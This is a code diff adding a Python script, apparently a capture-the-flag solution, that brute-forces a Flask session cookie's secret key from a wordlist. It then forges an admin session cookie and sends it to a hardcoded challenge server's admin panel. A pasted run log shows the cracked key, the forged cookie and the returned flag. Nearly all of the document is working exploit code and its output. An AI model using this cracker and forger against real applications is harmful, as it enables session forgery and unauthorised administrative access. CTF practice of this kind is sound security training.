1+ import hashlib
2+ import hmac
3+ import base64
4+ import json
5+ import sys
6+ import requests
7+ import time
8+ from flask import Flask
9+ from flask .sessions import SecureCookieSessionInterface
10+
11+ # ==========================================
12+ # 1. PASTE YOUR GUEST COOKIE STRING HERE
13+ # Run 'curl -v http://104.198.24.52:6011/' and copy the value.
14+ """
15+ curl 'http://104.198.24.52:6011/' \
16+ -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
17+ -H 'Accept-Language: en-US,en;q=0.9' \
18+ -H 'Connection: keep-alive' \
19+ -H 'Upgrade-Insecure-Requests: 1' \
20+ -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36' \
21+ --insecure -vvv
22+ """
23+ TARGET_COOKIE = "eyJyb2xlIjoidXNlciIsInVzZXIiOiJndWVzdCJ9.aTcwQg.qrNn08-0__PEydi0BhR6LCIOHfM"
24+ # ==========================================
25+
26+ WORDLIST_PATH = "/usr/share/wordlists/rockyou.txt"
27+
28+ def b64_encode (data ):
29+ """Urlsafe Base64 encode without padding"""
30+ return base64 .urlsafe_b64encode (data ).rstrip (b"=" )
31+
32+ def derive_key (secret_key ):
33+ """Mimic Flask's default key derivation (HMAC-SHA1 with salt 'cookie-session')"""
34+ return hmac .new (secret_key .encode (), b"cookie-session" , hashlib .sha1 ).digest ()
35+
36+ def calculate_signature (secret_key , value ):
37+ """Calculate the signature for a given value"""
38+ key = derive_key (secret_key )
39+ sig = hmac .new (key , value .encode (), hashlib .sha1 ).digest ()
40+ return b64_encode (sig ).decode ()
41+
42+ def crack (cookie , wordlist ):
43+ print (f"[*] Cracking cookie signature..." )
44+
45+ try :
46+ # Flask cookies are payload.timestamp.signature
47+ parts = cookie .split ("." )
48+ if len (parts ) != 3 :
49+ print ("[-] Error: Cookie format invalid. Must be payload.timestamp.sig" )
50+ return None
51+
52+ # We need to match the signature of the first two parts
53+ unsigned_data = f"{ parts [0 ]} .{ parts [1 ]} "
54+ target_sig = parts [2 ]
55+ except Exception :
56+ print ("[-] Error parsing cookie." )
57+ return None
58+
59+ # Try a small internal list first (in case rockyou is missing)
60+ fallback_list = ["secret" , "flask" , "admin" , "password" , "123456" , "secret_key" , "qwertyuiop" ]
61+
62+ # Open wordlist safely
63+ f = None
64+ try :
65+ f = open (wordlist , "rb" )
66+ iterator = f
67+ except FileNotFoundError :
68+ print (f"[!] { wordlist } not found. Using small fallback list." )
69+ iterator = [x .encode () for x in fallback_list ]
70+
71+ for line in iterator :
72+ secret = line .strip ().decode ("utf-8" , errors = "ignore" )
73+ if not secret : continue
74+
75+ # If our math matches the cookie's signature, we found the key
76+ if calculate_signature (secret , unsigned_data ) == target_sig :
77+ print (f"\n [+] KEY FOUND: '{ secret } '" )
78+ if hasattr (f , 'close' ): f .close ()
79+ return secret
80+
81+ print ("[-] Key not found in wordlist." )
82+ if f and hasattr (f , 'close' ): f .close ()
83+ return None
84+
85+ def forge (secret ):
86+ # Challenge Logic: user must be the reverse of the secret key
87+ target_user = secret [::- 1 ]
88+
89+ # 1. Create Payload
90+ new_data = {"user" : target_user , "role" : "admin" }
91+ print (f"[*] Forging payload: { new_data } " )
92+
93+ # 2. Setup Dummy Flask App to borrow the signer
94+ # We use this to access the exact same signing logic the server uses
95+ app = Flask ("forger" )
96+ app .secret_key = secret
97+
98+ # 3. Generate the Cookie
99+ # This single line handles:
100+ # - JSON Serialization (with correct separators)
101+ # - Timestamp generation (in the correct binary+base64 format)
102+ # - HMAC-SHA1 Signing
103+ serializer = SecureCookieSessionInterface ().get_signing_serializer (app )
104+ final_cookie = serializer .dumps (new_data )
105+
106+ print (f"\n [+] FORGED ADMIN COOKIE:\n { final_cookie } " )
107+ return final_cookie
108+
109+ def make_authenticated_request (target_url , cookie_value ):
110+ """
111+ Sends a GET request to the target URL using the provided cookie.
112+
113+ Args:
114+ target_url (str): The URL to request.
115+ cookie_value (str): The value of the session cookie.
116+
117+ Returns:
118+ str: The response text if successful, None otherwise.
119+ """
120+ # 1. Define the cookies dictionary (replace 'JSESSIONID' with your actual cookie name)
121+ cookies = {
122+ 'session' : cookie_value .strip () # .strip() removes accidental newlines
123+ }
124+
125+ # 2. Add a User-Agent so we look like a real browser (often required)
126+ headers = {
127+ 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
128+ }
129+
130+ try :
131+ # 3. Make the request with a 10-second timeout
132+ print (f"[*] Sending request to { target_url } ..." )
133+ response = requests .get (target_url , cookies = cookies , headers = headers , timeout = 10 )
134+
135+ # 4. Check if the request was successful (200 OK)
136+ response .raise_for_status ()
137+
138+ print (f"[+] Success! Status Code: { response .status_code } " )
139+ return response .text
140+
141+ except requests .exceptions .HTTPError as http_err :
142+ print (f"[-] HTTP Error: { http_err } " )
143+ except requests .exceptions .ConnectionError :
144+ print (f"[-] Connection Error: Could not reach { target_url } " )
145+ except requests .exceptions .Timeout :
146+ print ("[-] Request timed out." )
147+ except Exception as err :
148+ print (f"[-] An unexpected error occurred: { err } " )
149+
150+ return None
151+
152+ if __name__ == "__main__" :
153+ if "Paste_Your" in TARGET_COOKIE :
154+ print ("[-] ERROR: Open the script and paste your cookie into TARGET_COOKIE first!" )
155+ sys .exit ()
156+
157+ key = crack (TARGET_COOKIE , WORDLIST_PATH )
158+
159+ if key :
160+ forged_key = forge (key )
161+ print (make_authenticated_request ("http://104.198.24.52:6011/admin" , forged_key ))
162+
163+
164+ """
165+ % python3 jwt_cracker.py
166+ [*] Cracking cookie signature...
167+ [!] /usr/share/wordlists/rockyou.txt not found. Using small fallback list.
168+
169+ [+] KEY FOUND: 'qwertyuiop'
170+ [*] Forging payload: {'user': 'poiuytrewq', 'role': 'admin'}
171+
172+ [+] FORGED ADMIN COOKIE:
173+ eyJ1c2VyIjoicG9pdXl0cmV3cSIsInJvbGUiOiJhZG1pbiJ9.aTdS4g.M0RXiXPnnVEK_1SIAhZlVLlxYjQ
174+ [*] Sending request to http://104.198.24.52:6011/admin...
175+ [+] Success! Status Code: 200
176+ <!doctype html>
177+ <html lang="en">
178+ <head>
179+ <meta charset="UTF-8" />
180+ <title>Admin Panel</title>
181+ <style>
182+ body {
183+ font-family: "Segoe UI", Tahoma, sans-serif;
184+ background: #f4f6f8;
185+ margin: 0;
186+ padding: 0;
187+ display: flex;
188+ justify-content: center;
189+ align-items: center;
190+ height: 100vh;
191+ }
192+
193+ .card {
194+ background: #ffffff;
195+ padding: 40px 50px;
196+ border-radius: 14px;
197+ box-shadow: 0 6px 20px rgba(0, 0, 0, 0.12);
198+ text-align: center;
199+ max-width: 480px;
200+ width: 90%;
201+ animation: fadein 0.4s ease-in-out;
202+ }
203+
204+ h1 {
205+ margin-bottom: 15px;
206+ color: #333;
207+ font-size: 28px;
208+ }
209+
210+ p {
211+ font-size: 18px;
212+ color: #444;
213+ margin: 0;
214+ word-break: break-all;
215+ }
216+
217+ .flag-box {
218+ background: #f9f9f9;
219+ padding: 15px;
220+ border-radius: 8px;
221+ border: 1px solid #ddd;
222+ font-family: "Courier New", monospace;
223+ margin-top: 12px;
224+ }
225+
226+ @keyframes fadein {
227+ from { opacity: 0; transform: translateY(6px); }
228+ to { opacity: 1; transform: translateY(0); }
229+ }
230+ </style>
231+ </head>
232+ <body>
233+ <div class="card">
234+ <h1>Admin Panel</h1>
235+ <p>Enjoy this cookie 🍪</p>
236+ <p><strong>Your Flag:</strong></p>
237+ <div class="flag-box">flag{y0u_l34rn3ed_flask_uns1gn_c0ok1e}</div>
238+ </div>
239+ </body>
240+ </html>
241+ """
0 commit comments